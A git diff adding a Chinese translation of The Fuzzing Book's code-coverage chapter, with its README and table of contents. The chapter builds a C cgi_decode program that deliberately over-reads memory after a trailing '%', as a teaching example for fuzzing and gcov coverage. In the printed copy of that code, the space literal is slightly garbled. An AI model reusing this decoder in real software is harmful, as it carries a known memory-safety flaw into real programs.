bR8SrwFXAUrIEsBGYQ+Vv65xC27ZTj2+VnAjUyriKPVdW0hDgV8BlEbGp3PGUkqR3AqsiYk7+6FZmrbTt3Qc4HPhRRBwG1FJBzUCtSW3iZwJ7A+OBwWTNIi1V2rZuT6fu75WcCJYBE/OGJwDLyxRLSUnqS5YEbomIX6fRNbmqYvq/qlzxlcCxwLslLSZr8nsbWQ1hRGo+gMrc3suAZRHxWBr+JVliqORtfTKwKCJWR8R24NfAm6n8bZ1TaNt26vGtkhPB48CUdHZBP7IOprvKHFOnS23j1wELIuI7eZPuAi5Iry8AftvVsZVKRHw2IiZExGSy7XpvRHwQuA94X5qtosoMEBErgVckHZBGnQQ8SwVva7ImoWMkDUr7eq7MFb2t8xTatncB56ezh44BNuaakHZKRFTsH3A68DzwEvAf5Y6nRGU8jqxK+BQwL/2dTtZmfg/wQvo/qtyxlqj8bwV+n17vA/wNeBH4BdC/3PGVoLyHArPT9v4NMLLStzXwZWAhMB/4KdC/Erc1cBtZP8h2sl/8FxXatmRNQ/+Tjm1Pk51VtdPr9i0mzMyqXCU3DZmZWRGcCMzMqpwTgZlZlXMiMDOrck4EZmZVzonAKpqkKyS9VdJZHb0DraQx6Q6XT0g6vsW0n5TiJoaSPtfZyzRrj08ftYom6V6ym9N9HfhlRDzcgfd+ADgtIi5od+ZOImlLRAzpqvWZgWsEVqEkfUvSU8CRwCPAxcCPJH2hlXn3knRPuq/7PZImSToU+CZwuqR5kga2eM/9kmak11skfU3Sk5IelTQ2jb9R0tWS/irp+XSPJCRdKOkHecv6faq1fIPsLpvzJN0iabCk/03LnS/p/SX6uKzKORFYRYqIz5Ad/G8kSwZPRcTBEfGVVmb/AdktfQ8GbgH+KyLmAV8Abo+IQyNiaxurGww8GhGHAA8Cl+RNmwy8haxWcrWkAW3EfDmwNa3vg2T3pl8eEYdEdi/+PxVTdrOOciKwSnYY2S03ppLdn6aQmcCt6fVPyW7b0RENwO/T6zlkB/+cOyKiOSJeAF5OsRTraeBkSVdKOj4iNnYwLrOi9Gl/FrOeJTXr3Eh2R8Y1ZA8zkaR5wMx2ft1Dx2/nuz12dLY18frvVctlBdlT5fJ/hLVaS4iI5yUdQXbvqCsk/aVAjcZsl7hGYBUnIuZFxKFkNxycDtwLvKONJp7/I7uLKcAHgYc6MZyzJfWStC/ZjdKeAxYDh6bxE8meppezPd1WHEnjgbqI+BnZw1l26bm0ZoW4RmAVSdIYYH1ENEuaGhFtNQ19Arhe0mfIngD2oU4M5TngAWAs8JGI2CbpYWARWdPPfGBu3vzXAk9JmgvcDHxLUjPZHSk/2olxmb3Gp4+alYikG8lukf3L9uY1Kyc3DZmZVTnXCMzMqpxrBGZmVc6JwMysyjkRmJlVOScCM7Mq50RgZlbl/j9TZH7GMpSkQwAAAABJRU5ErkJggg==
+)
+
+我们看到，平均而言，经过40-60次模糊输入后，我们可以获得完整的覆盖范围。
+
+## 从外部程序获得覆盖
+
+当然，并非全世界都使用Python进行编程。 好消息是，获得覆盖率的问题无处不在，几乎每种编程语言都具有测量覆盖率的功能。 仅作为示例，因此让我们演示如何获得C程序的覆盖率。
+
+我们的C程序（再次）实现`cgi_decode`； 这次作为要从命令行执行的程序：
+
+```py
+$ ./cgi_decode 'Hello+World'
+Hello World
+
+```
+
+这是C代码，首先是Python字符串。 我们从通常的C开始：
+
+```py
+cgi_c_code = """
+/* CGI decoding as C program */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+"""
+
+```
+
+这是`hex_values`的初始化：
+
+```py
+cgi_c_code += r"""
+int hex_values[256];
+
+void init_hex_values() {
+ for (int i = 0; i < sizeof(hex_values) / sizeof(int); i++) {
+ hex_values[i] = -1;
+ }
+ hex_values['0'] = 0; hex_values['1'] = 1; hex_values['2'] = 2; hex_values['3'] = 3;
+ hex_values['4'] = 4; hex_values['5'] = 5; hex_values['6'] = 6; hex_values['7'] = 7;
+ hex_values['8'] = 8; hex_values['9'] = 9;
+
+ hex_values['a'] = 10; hex_values['b'] = 11; hex_values['c'] = 12; hex_values['d'] = 13;
+ hex_values['e'] = 14; hex_values['f'] = 15;
+
+ hex_values['A'] = 10; hex_values['B'] = 11; hex_values['C'] = 12; hex_values['D'] = 13;
+ hex_values['E'] = 14; hex_values['F'] = 15;
+}
+"""
+
+```
+
+这是`cgi_decode()`的实际实现，使用输入源（`s`）和输出目标（`t`）的指针：
+
+```py
+cgi_c_code += r"""
+int cgi_decode(char *s, char *t) {
+ while (*s != '\0') {
+ if (*s == '+')
+ *t++ = ' ';
+ else if (*s == '%') {
+ int digit_high = *++s;
+ int digit_low = *++s;
+ if (hex_values[digit_high] >= 0 && hex_values[digit_low] >= 0) {
+ *t++ = hex_values[digit_high] * 16 + hex_values[digit_low];
+ }
+ else
+ return -1;
+ }
+ else
+ *t++ = *s;
+ s++;
+ }
+ *t = '\0';
+ return 0;
+}
+"""
+
+```
+
+最后，这是一个采用第一个参数并使用其调用`cgi_decode`的驱动程序：
+
+```py
+cgi_c_code += r"""
+int main(int argc, char *argv[]) {
+ init_hex_values();
+
+ if (argc >= 2) {
+ char *s = argv[1];
+ char *t = malloc(strlen(s) + 1); /* output is at most as long as input */
+ int ret = cgi_decode(s, t);
+ printf("%s\n", t);
+ return ret;
+ }
+ else
+ {
+ printf("cgi_decode: usage: cgi_decode STRING\n");
+ return 1;
+ }
+}
+"""
+
+```
+
+让我们创建C源代码：
+
+```py
+with open("cgi_decode.c", "w") as f:
+    f.write(cgi_c_code)
+
+```
+
+在这里，我们的C代码突出了语法：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_file
+
+```
+
+```py
+print_file("cgi_decode.c")
+
+```
+
+```py
+/* CGI decoding as C program */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+int hex_values[256];
+
+void init_hex_values() {
+    for (int i = 0; i < sizeof(hex_values) / sizeof(int); i++) {
+        hex_values[i] = -1;
+    }
+    hex_values['0'] = 0; hex_values['1'] = 1; hex_values['2'] = 2; hex_values['3'] = 3;
+    hex_values['4'] = 4; hex_values['5'] = 5; hex_values['6'] = 6; hex_values['7'] = 7;
+    hex_values['8'] = 8; hex_values['9'] = 9;
+
+    hex_values['a'] = 10; hex_values['b'] = 11; hex_values['c'] = 12; hex_values['d'] = 13;
+    hex_values['e'] = 14; hex_values['f'] = 15;
+
+    hex_values['A'] = 10; hex_values['B'] = 11; hex_values['C'] = 12; hex_values['D'] = 13;
+    hex_values['E'] = 14; hex_values['F'] = 15;
+}
+
+int cgi_decode(char *s, char *t) {
+    while (*s != '\0') {
+        if (*s == '+')
+            *t++ = '  ';
+        else if (*s == '%') {
+            int digit_high = *++s;
+            int digit_low = *++s;
+            if (hex_values[digit_high] >= 0 && hex_values[digit_low] >= 0) {
+                *t++ = hex_values[digit_high] * 16 + hex_values[digit_low];
+            }
+            else
+                return -1;
+        }
+        else
+            *t++ = *s;
+        s++;
+    }
+    *t = '\0';
+    return 0;
+}
+
+int main(int argc, char *argv[]) {
+    init_hex_values();
+
+    if (argc >= 2) {
+        char *s = argv[1];
+        char *t = malloc(strlen(s) + 1); /* output is at most as long as input */
+        int ret = cgi_decode(s, t);
+        printf("%s\n", t);
+        return ret;
+    }
+    else
+    {
+        printf("cgi_decode: usage: cgi_decode STRING\n");
+        return 1;
+    }
+}
+
+```
+
+现在，我们可以将C代码编译为可执行文件。 `--coverage`选项指示C编译器对代码进行检测，以便在运行时收集覆盖率信息。 （确切的选项因编译器而异。）
+
+```py
+!cc --coverage -o cgi_decode cgi_decode.c
+
+```
+
+当我们现在执行程序时，覆盖率信息将自动收集并存储在辅助文件中：
+
+```py
+!./cgi_decode 'Send+mail+to+me%40fuzzingbook.org'
+
+```
+
+```py
+Send mail to me@fuzzingbook.org
+
+```
+
+覆盖范围信息由`gcov`程序收集。 对于给定的每个源文件，它将生成一个具有覆盖率信息的新`.gcov`文件。
+
+```py
+!gcov cgi_decode.c
+
+```
+
+```py
+File 'cgi_decode.c'
+Lines executed:91.89% of 37
+cgi_decode.c:creating 'cgi_decode.c.gcov'
+
+```
+
+在`.gcov`文件中，每行都以被调用的次数为前缀（`-`代表不可执行的行，`#####`代表零）以及行号。 例如，我们可以看一下`cgi_decode()`，看到唯一尚未执行的代码就是用于非法输入的`return -1`。
+
+```py
+lines = open('cgi_decode.c.gcov').readlines()
+for i in range(30, 50):
+    print(lines[i], end='')
+
+```
+
+```py
+        -:   26:int cgi_decode(char *s, char *t) {
+       64:   27:    while (*s != '\0') {
+       31:   28:        if (*s == '+')
+        3:   29:            *t++ = ' ';
+       28:   30:        else if (*s == '%') {
+        1:   31:            int digit_high = *++s;
+        1:   32:            int digit_low = *++s;
+        2:   33:            if (hex_values[digit_high] >= 0 && hex_values[digit_low] >= 0) {
+        1:   34:                *t++ = hex_values[digit_high] * 16 + hex_values[digit_low];
+        1:   35:            }
+        -:   36:            else
+    #####:   37:                return -1;
+        1:   38:        }
+        -:   39:        else
+       27:   40:            *t++ = *s;
+       31:   41:        s++;
+        -:   42:    }
+        1:   43:    *t = '\0';
+        1:   44:    return 0;
+        1:   45:}
+
+```
+
+让我们阅读此文件以获得覆盖范围集：
+
+```py
+def read_gcov_coverage(c_file):
+    gcov_file = c_file + ".gcov"
+    coverage = set()
+    with open(gcov_file) as file:
+        for line in file.readlines():
+            elems = line.split(':')
+            covered = elems[0].strip()
+            line_number = int(elems[1].strip())
+            if covered.startswith('-') or covered.startswith('#'):
+                continue
+            coverage.add((c_file, line_number))
+    return coverage
+
+```
+
+```py
+coverage = read_gcov_coverage('cgi_decode.c')
+
+```
+
+```py
+list(coverage)[:5]
+
+```
+
+```py
+[('cgi_decode.c', 24),
+ ('cgi_decode.c', 32),
+ ('cgi_decode.c', 20),
+ ('cgi_decode.c', 43),
+ ('cgi_decode.c', 53)]
+
+```
+
+有了这个设置，我们现在可以执行与Python程序相同的coverage计算。
+
+## 使用基本模糊查找错误
+
+只要有足够的时间，无论编程语言是什么，我们实际上都可以覆盖`cgi_decode()`中的每一行。 但是，这并不意味着它们将没有错误。 由于我们不检查`cgi_decode()`的结果，因此该函数可以返回任何值，而无需我们检查或注意。 为了捕获此类错误，我们将必须设置一个*结果检查器*（通常称为 *oracle* ）来验证测试结果。 在我们的案例中，我们可以比较`cgi_decode()`的C和Python实现，并查看两者是否产生相同的结果。
+
+但是，模糊测试最擅长的是找到*内部错误*，即使不检查结果也可以检测到。 实际上，如果在`cgi_decode()`上运行我们的`fuzzer()`，则可以迅速发现这样的错误，如以下代码所示：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    for i in range(trials):
+        try:
+            s = fuzzer()
+            cgi_decode(s)
+        except ValueError:
+            pass
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-54-086d4892c70e>", line 5, in <module>
+    cgi_decode(s)
+  File "<ipython-input-1-4d0fb90b50b4>", line 22, in cgi_decode
+    digit_high, digit_low = s[i + 1], s[i + 2]
+IndexError: string index out of range (expected)
+
+```
+
+因此，有可能导致`cgi_decode()`崩溃。 这是为什么？ 让我们看一下它的输入：
+
+```py
+s
+
+```
+
+```py
+'82 202*&<1&($34\'"/\'.<5/!8"\'5:!4))%;'
+
+```
+
+问题在字符串的末尾。 在`'%'`字符之后，我们的实现将始终尝试访问另外两个（十六进制）字符，但是如果这些字符不存在，我们将获得`IndexError`异常。
+
+这个问题也存在于我们的C变体中，该变体继承了原始实现[[Pezzè*等*，2008\.](http://ix.cs.uoregon.edu/~michal/book/) ]：
+
+```py
+int digit_high = *++s;
+int digit_low = *++s;
+
+```
+
+这里，`s`是指向要读取的字符的指针； `++`将其增加一个字符。 在C实现中，问题实际上要严重得多。 如果`'%'`字符位于字符串的末尾，则上面的代码将首先读取终止字符（C字符串中的`'\0'`），然后读取随后的字符，该字符可以是字符串之后的任何内存内容，因此 可能会导致程序无法控制地失败。 好消息是`'\0'`不是有效的十六进制字符，因此C版本将“仅”读取字符串末尾的一个字符。
+
+有趣的是，我们之前设计的任何手动测试都不会触发此错误。 实际上，无论是陈述，分支机构覆盖率，还是文献中通常讨论的覆盖率标准，都找不到它。 但是，简单的模糊运行可以通过几次运行来识别错误–如果适当的运行时检查已经找到*，则会发现此类溢出。 这肯定需要更多的模糊测试！*
+
+## 经验教训
+
+*   覆盖率指标是一种简单且完全自动化的方法，用于估算在测试运行期间实际执行了多少程序功能。
+*   存在许多覆盖率指标，最重要的是语句覆盖率和分支覆盖率。
+*   在Python中，执行期间访问程序状态非常容易，包括当前执行的代码。
+
+归根结底，让我们清理一下：
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [glob](https://docs.python.org/3/library/glob.html)
+
+```
+
+```py
+for file in glob.glob("cgi_decode") + glob.glob("cgi_decode.*"):
+    os.remove(file)
+
+```
+
+## 后续步骤
+
+覆盖率不仅是*衡量*测试有效性的工具，还是*指导*测试朝着特定目标（尤其是未发现的代码）的生成的强大工具。 我们使用覆盖范围
+
+*   [指导现有输入的*突变*更好地覆盖有关突变模糊](MutationFuzzer.html)一章的内容
+
+## 背景
+
+覆盖率是系统软件测试中的核心概念。 有关讨论，请参见[测试简介](Intro_Testing.html)中的书。
+
+## 练习
+
+### 练习1：修复cgi_decode
+
+创建一个适当的测试来重现上面讨论的`IndexError`。 修复`cgi_decode()`以防止该错误。 显示您的测试（以及其他`fuzzer()`运行）不再暴露该错误。 对C变体执行相同的操作。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Coverage.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：分支覆盖率
+
+除了语句覆盖率之外，*分支覆盖率*是确定测试质量的最常用标准之一。 简而言之，分支覆盖率衡量了在代码中做出了多少个不同的*控制决策*。 在声明中
+
+```py
+if CONDITION:
+    do_a()
+else:
+    do_b()
+
+```
+
+例如，必须涵盖`CONDITION`为真（分支为`do_a()`）和`CONDITION`为假（分支为`do_b()`）的情况。 这适用于所有带有条件（`if`，`while`等）的控制语句。
+
+分支机构的覆盖范围与语句的覆盖范围有何不同？ 在上面的示例中，实际上没有区别。 但是，在此代码中有：
+
+```py
+if CONDITION:
+    do_a()
+something_else()
+
+```
+
+使用语句覆盖率，`CONDITION`为真的单个测试用例就足以覆盖对`do_a()`的调用。 但是，使用分支覆盖，我们还必须创建一个测试用例，其中未调用*的`do_a()`。*
+
+使用我们的`Coverage`基础结构，我们可以通过考虑执行的后续行对*来模拟分支覆盖。 `trace()`方法为我们提供了一个接一个执行的行的列表：*
+
+```py
+with Coverage() as cov:
+    cgi_decode("a+b")
+trace = cov.trace()
+trace[:5]
+
+```
+
+```py
+[('cgi_decode', 9),
+ ('cgi_decode', 10),
+ ('cgi_decode', 11),
+ ('cgi_decode', 12),
+ ('cgi_decode', 15)]
+
+```
+
+#### 第1部分：计算分支覆盖范围
+
+定义一个函数`branch_coverage()`，该函数接受跟踪并返回跟踪中的一对后续行对–在上面的示例中，这将是
+
+```py
+set(
+(('cgi_decode', 9), ('cgi_decode', 10)),
+(('cgi_decode', 10), ('cgi_decode', 11)),
+# more_pairs
+)
+
+```
+
+对于高级Python程序员的奖励：将`BranchCoverage`定义为`Coverage`的子类，并使`branch_coverage()`像`BranchCoverage`的`coverage()`方法一样。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Coverage.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：比较语句覆盖率和分支覆盖率
+
+使用`branch_coverage()`使用分支覆盖而不是语句覆盖来重复本章中的实验。 手动编写的测试用例是否覆盖所有分支？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Coverage.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：平均覆盖率
+
+再次，用分支覆盖重复上述实验。 `fuzzer()`是否覆盖所有分支，如果是，则平均要进行多少次测试？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Coverage.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/README.md b/new/fuzzing-book-zh/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..ca2a62b525871016f57a6f50133b5a6245d7bcc3
--- /dev/null
+++ b/new/fuzzing-book-zh/README.md
@@ -0,0 +1,31 @@
+# 生成软件测试
+
+> 原文：[The Fuzzing Book](https://www.fuzzingbook.org/)
+> 
+> 协议：[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
+> 
+> 想在自己的代码里找出一个错误是十分困难的。而当你认为你的代码没有错误时，那就更难了。——Steve McConnel
+
+* [ApacheCN 学习资源](http://docs.apachecn.org/)
+
+## 贡献指南
+
+本项目需要校对，欢迎大家提交 Pull Request。
+
+> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越，但我们并不要求您做到十全十美，因此请不要担心因为翻译上犯错——在大部分情况下，我们的服务器已经记录所有的翻译，因此您不必担心会因为您的失误遭到无法挽回的破坏。（改编自维基百科）
+
+## 联系方式
+
+### 负责人
+
+* [飞龙](https://github.com/wizardforcel): 562826179
+
+### 其他
+
+*   在我们的 [apachecn/fuzzingbook-zh](https://github.com/apachecn/fuzzingbook-zh) github 上提 issue.
+*   发邮件到 Email: `apachecn@163.com`.
+*   在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可.
+
+## 赞助我们
+
+![](http://data.apachecn.org/img/about/donate.jpg)
diff --git a/new/fuzzing-book-zh/SUMMARY.md b/new/fuzzing-book-zh/SUMMARY.md
new file mode 100644
index 0000000000000000000000000000000000000000..78dcd7bfcc6907c1d234ae18a82a71b33ff3630c
--- /dev/null
+++ b/new/fuzzing-book-zh/SUMMARY.md
@@ -0,0 +1,43 @@
++   [生成软件测试](README.md)
++   [生成软件测试](1.md)
++   [生成软件测试关于本书](2.md)
++   [生成软件测试关于本书](3.md)
++   [第一部分：提高食欲](4.md)
++   [翻阅本书](5.md)
++   [软件测试简介](6.md)
++   [第二部分：词法模糊](7.md)
++   [模糊测试：使用随机输入打破事物](8.md)
++   [代码覆盖率](9.md)
++   [基于变异的模糊化](10.md)
++   [Greybox模糊测试](11.md)
++   [基于搜索的模糊化](12.md)
++   [变异分析](13.md)
++   [第三部分：语法模糊](14.md)
++   [用文法模糊处理](15.md)
++   [高效的语法模糊化](16.md)
++   [语法覆盖率](17.md)
++   [解析输入](18.md)
++   [概率语法模糊化](19.md)
++   [生成器的模糊化生成器和语法覆盖率](20.md)
++   [带有语法的Greybox模糊测试](21.md)
++   [减少导致失败的输入](22.md)
++   [第四部分：语义模糊](23.md)
++   [挖掘输入文法](24.md)
++   [跟踪信息流](25.md)
++   [Concolic模糊测试](26.md)
++   [符号模糊化](27.md)
++   [挖掘功能规范](28.md)
++   [不好了！ 我们还没有准备好！](29.md)
++   [测试配置](30.md)
++   [模糊API](31.md)
++   [雕刻单元测试](32.md)
++   [测试Web应用程序](33.md)
++   [测试图形用户界面](34.md)
++   [第六部分：管理模糊化](35.md)
++   [大毛绒](36.md)
++   [何时停止模糊](37.md)
++   [Appendices](38.md)
++   [错误处理](39.md)
++   [Timer](40.md)
++   [控制流程图](41.md)
++   [铁路图](42.md)
diff --git a/new/fuzzing-book-zh/img/280a76b743e1e5bc1e36694f7d44165e.jpg b/new/fuzzing-book-zh/img/280a76b743e1e5bc1e36694f7d44165e.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..1b19c0bd66a6854622d58765012023d09d1ae8ae
Binary files /dev/null and b/new/fuzzing-book-zh/img/280a76b743e1e5bc1e36694f7d44165e.jpg differ
diff --git a/new/fuzzing-book-zh/img/65bbcfd07aceec67d7a578f2937643fc.jpg b/new/fuzzing-book-zh/img/65bbcfd07aceec67d7a578f2937643fc.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..5d137bb32cd61cfe904d3aff144c44580659c5fe
Binary files /dev/null and b/new/fuzzing-book-zh/img/65bbcfd07aceec67d7a578f2937643fc.jpg differ
diff --git a/new/fuzzing-book-zh/img/6799656e8d35c81855e3e4d26ad2a2a3.jpg b/new/fuzzing-book-zh/img/6799656e8d35c81855e3e4d26ad2a2a3.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..d41dd4a273ce5ac809eb1e77f3e19e0e917ecdf8
Binary files /dev/null and b/new/fuzzing-book-zh/img/6799656e8d35c81855e3e4d26ad2a2a3.jpg differ
diff --git a/new/fuzzing-book-zh/img/6ab52416d92bf24ca8aae1d06d88d3a4.jpg b/new/fuzzing-book-zh/img/6ab52416d92bf24ca8aae1d06d88d3a4.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..cf86c9ba0c250d7098deaf17288362722ce73970
Binary files /dev/null and b/new/fuzzing-book-zh/img/6ab52416d92bf24ca8aae1d06d88d3a4.jpg differ
diff --git a/new/fuzzing-book-zh/img/8f90d5905b0afb0523b95b6e1f210c54.jpg b/new/fuzzing-book-zh/img/8f90d5905b0afb0523b95b6e1f210c54.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..2b57f2c7766b34ab067e788706f43274179b52ce
Binary files /dev/null and b/new/fuzzing-book-zh/img/8f90d5905b0afb0523b95b6e1f210c54.jpg differ
diff --git a/new/fuzzing-book-zh/img/9b2f0f8d40bfc500d25dd91bdf3f77d3.jpg b/new/fuzzing-book-zh/img/9b2f0f8d40bfc500d25dd91bdf3f77d3.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..94a149695a05b1de800c3afbe567f6f1529bad22
Binary files /dev/null and b/new/fuzzing-book-zh/img/9b2f0f8d40bfc500d25dd91bdf3f77d3.jpg differ
diff --git a/new/fuzzing-book-zh/img/a3a002bf13a9d26a7da78339f4209b2b.jpg b/new/fuzzing-book-zh/img/a3a002bf13a9d26a7da78339f4209b2b.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..3820423868c25f12ae58d0e71489d634d3ee7350
Binary files /dev/null and b/new/fuzzing-book-zh/img/a3a002bf13a9d26a7da78339f4209b2b.jpg differ
diff --git a/new/fuzzing-book-zh/img/a5babcd0c8a401dcb76d7c3072e63f4a.jpg b/new/fuzzing-book-zh/img/a5babcd0c8a401dcb76d7c3072e63f4a.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..db8fc498f326fee9df7d019f0d3b6a7686d2a548
Binary files /dev/null and b/new/fuzzing-book-zh/img/a5babcd0c8a401dcb76d7c3072e63f4a.jpg differ
diff --git a/new/fuzzing-book-zh/img/cba71a9cfb53f58e722366cb73a70c64.jpg b/new/fuzzing-book-zh/img/cba71a9cfb53f58e722366cb73a70c64.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..5de80c7b025756743903cc243f3f6f9736867f25
Binary files /dev/null and b/new/fuzzing-book-zh/img/cba71a9cfb53f58e722366cb73a70c64.jpg differ
diff --git a/new/fuzzing-book-zh/img/d3c52996e6af0d163d15300076808bf3.jpg b/new/fuzzing-book-zh/img/d3c52996e6af0d163d15300076808bf3.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..bf80f724108c2f7b45eecbb3dc7971ba16679d68
Binary files /dev/null and b/new/fuzzing-book-zh/img/d3c52996e6af0d163d15300076808bf3.jpg differ
diff --git a/new/fuzzing-book-zh/img/da2ed6c73a15bdb149d27aff0d322602.jpg b/new/fuzzing-book-zh/img/da2ed6c73a15bdb149d27aff0d322602.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..61cd4b5296c6aba7828494d4fb57e32ce4061754
Binary files /dev/null and b/new/fuzzing-book-zh/img/da2ed6c73a15bdb149d27aff0d322602.jpg differ